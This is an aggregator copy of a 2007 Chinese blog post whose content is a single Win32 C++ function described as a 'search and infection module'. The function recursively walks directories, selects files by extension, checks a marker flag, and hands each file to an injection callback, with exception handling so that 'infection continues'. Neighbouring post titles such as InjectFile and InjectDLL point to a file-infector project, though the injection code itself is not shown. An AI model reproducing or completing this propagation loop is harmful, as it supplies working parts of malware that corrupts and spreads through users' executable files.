惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

雷峰网
雷峰网
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 三生石上(FineUI控件)
博客园 - 聂微东
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Hugging Face - Blog
Hugging Face - Blog
Apple Machine Learning Research
Apple Machine Learning Research
博客园 - Franky
MyScale Blog
MyScale Blog
A
About on SuperTechFans
博客园_首页
B
Blog RSS Feed
Martin Fowler
Martin Fowler
大猫的无限游戏
大猫的无限游戏
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Vercel News
Vercel News
C
Check Point Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
博客园 - 【当耐特】
M
MIT News - Artificial intelligence
宝玉的分享
宝玉的分享
T
Tailwind CSS Blog
I
InfoQ
罗磊的独立博客

博客园 - 龙巢NET刀

Windows位图文件格式[转] Windows堆栈区别[转] 聚焦3D地形编程第五章GeomipMapping for the CLOD 聚焦3D地形编程第四章光照化地形 聚焦3D地形编程第三章纹理化地形 聚焦3D地形编程第一章 The Journey into the great Outdoors 聚焦3D地形编程第二章Terrain 101 枚举驱动器 - 龙巢NET刀 - 博客园 和InjectFile配套InjectDLL - 龙巢NET刀 - 博客园 和InjectFile配套TestOne 激动的InjectFile 通过GUI方式打印信息 PE文件加区块 PE文件 我的简历 进度 我的经历我的历史 内嵌Lua问题 BGET内存分配器
文件遍历目录
龙巢NET刀 · 2007-05-23 · via 博客园 - 龙巢NET刀

文件遍历目录

// 对 选择进入子目录后 增加了一句 SetCurrentDirectory , 这样才不致于 重复枚举文件。 //搜索和感染模块 //内部检索所有文件, 在内部再判断扩展名 bool __stdcall SearchEntry(HWND param_ListBoxHWND, const char* param_curDir, const char* param_extendName, int (__stdcall *fpInject)(const char*)) { char tmpRoot[MAX_PATH] = {0}; lstrcpyn(tmpRoot, param_curDir, lstrlen(param_curDir) + 1); lstrcat(tmpRoot, "\\"); SetCurrentDirectory(tmpRoot); WIN32_FIND_DATA fd; ZeroMemory(&fd, sizeof(fd)); void *hFile = 0; hFile = FindFirstFile(param_extendName, &fd); // 根据扩展名 if(!hFile) return false; else { do { if( (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && lstrcmp(fd.cFileName, ".") && lstrcmp(fd.cFileName, "..")) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)"子目录"); char szSubDir[MAX_PATH] = {0}; lstrcpyn(szSubDir, tmpRoot, lstrlen(tmpRoot) + 1); lstrcat(szSubDir, fd.cFileName); SearchEntry(param_ListBoxHWND, szSubDir, param_extendName, fpInject); } SetCurrentDirectory(tmpRoot); //重新设回上级目录 // 要加入SEH异常处理, 使感染进行下去 if(!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)fd.cFileName); char szPathName[260] = {0}; GetFullPathName(fd.cFileName, 260, szPathName, 0); //这里加上异常,使可以继续遍历 不管是C++异常还是SEH if(checkFileFlag(szPathName, 0)) { try { fpInject(szPathName); }catch(...) { MessageBox(NULL, "引发异常", "Exception", 0); } } } }while(FindNextFile(hFile, &fd)); FindClose(hFile); } return true; }

posted on 2007-05-23 22:55  龙巢NET刀  阅读(447)  评论()    收藏  举报